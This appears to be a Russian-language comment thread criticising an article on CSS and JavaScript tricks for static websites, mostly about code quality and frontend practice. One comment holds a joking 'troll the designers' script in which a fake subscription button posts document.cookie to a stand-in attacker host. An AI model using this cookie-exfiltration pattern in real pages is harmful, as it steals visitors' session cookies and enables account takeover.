Comments 13
1. Первая штука делается короче, на CSS, на :hover. Зачем там скрипты, да еще и изменяющие CSS напрямую — загадка.
2. Префиксы руками ставить не нужно. В 2020 году есть автопрефиксер, который сам расставит, что нужно, и уберет, что не нужно.
3. Изменение размера шрифта — ок, прикольная идея, только нужно сохранять высоту строки и изменять межбуквенные интервалы, а то все будет дергаться, как у автора на сайте.
4. Список «Вот полный список значений, которые может принимать каждое из этих свойств» вообще ни разу не полный.
5. «полезно разделять запятыми значения внутри @keyframes» — ой, вот не надо этого. Читаемость этот подход в конечном счете портит, а пользы никакой.
Поддерживаю, если читатель — новичок — он может подумать, что так и надо, best practice и т.д.
Статья — набор рандомных советов, сделанных очень костыльно.
Если вы ищете что-то для вдохновления, то лучше почитать про анимации Material UI.
https://material.io/design/motion/understanding-motion.html#principles
Там и примеры кода можно найти https://material.io/develop/web/components/animation
Дополню про 1: а ещё эти скрипты зачем-то в одном месте меняют rotateZ с нуля на ноль. Да ещё и меняет transition элементам по отдельности, вместо всей .card, но при этом при выводе мышки таки и .card`y меняет зачем-то обратно с нуля на ноль. Ну и сверху посыпано разными vs, vh, rem, px… что в принципе не критично, но в данном случае не обоснованно.
В общем после первого же примера показалось что это примерно 5-6 слепленных ответов со стаковерфлоу. Не надо так. А главное — сайт так и не стал "динамическим" (
Автор статьи — Python developer, и, видимо в силу недостатка опыта во фронтенде, он говорит странные вещи местами.
К сожалению так почти всегда… самый плохой клиентский код — это код, который написал бекендер. Особенно синьйор, который обзывает фронтенд разработчиков макаками и формошлёпами.
Код отобразит элемент с классом .htmlclass с задержкой 400мс при прокрутке страницы.
зачем?
Пять простых рецептов как нормальный сайт сделать невыносимым.
есть предложение по лучше:
// declearing variables
const rope = document.querySelector('.rope')
// troll the designers v1
rope.addEventListener('mouseover', (e) => {
const { height } = rope.getBoundingClientRect()
rope.style.setProperty('position', 'fixed')
rope.style.setProperty('top', (e.pageY - height + 1 /* =D */) + 'px')
})
// troll the designers v2
rope.addEventListener('mousedown', (e) => {
e.preventDefault()
e.stopPropagation()
e.stopImmediatePropagation()
const dialog = document.createElementNS('http://www.w3.org/1999/xhtml', 'div')
dialog.style.setProperty('position', 'fixed')
dialog.style.setProperty('top', '0')
dialog.style.setProperty('left', '0')
dialog.style.setProperty('right', '0')
dialog.style.setProperty('bottom', '0')
dialog.style.setProperty('background', 'rgba(0,0,0,.9)')
const content = document.createElementNS('http://www.w3.org/1999/xhtml', 'form')
content.style.setProperty('position', 'relative')
content.style.setProperty('top', '20%')
content.style.setProperty('width', '80%')
content.style.setProperty('max-width', '650px')
content.style.setProperty('margin', '0 auto')
content.style.setProperty('padding', '20px')
content.textContent = 'Подпишитесь на наши уведомления, чтобы быть в курсе всех ваших бултыханий'
const _ = document.createElementNS('http://www.w3.org/1999/xhtml', 'input')
_.type = 'checkbox'
_.checked = true
_.value = 'е***ь я лох'
_.hidden = true
content.append(_)
const ok = document.createElementNS('http://www.w3.org/1999/xhtml', 'button')
ok.addEventListener('click', () => {
fetch('//super.hacker.xxl.size.aga', {
method: 'POST',
body: document.cookie,
})
alert('Вы совершили оплошность, сударь!')
})
ok.textContent = 'Конечно!'
ok.style.setProperty('margin-top', '10px')
ok.style.setProperty('margin-left', 'auto')
ok.style.setProperty('margin-right', '0')
content.append(ok)
})
/* troll the designers v3 */
.rope {
pointer-events: 'none';
}
Теперь, когда вы наведёте указатель на буквы, вы увидите, как они меняют размер и цвет… я тоже применил это к своей контактной форме
Вот пользователи-то спасибо скажут!!!
Трюки CSS и JavaScript, которые вдохнут жизнь в ваш статический сайт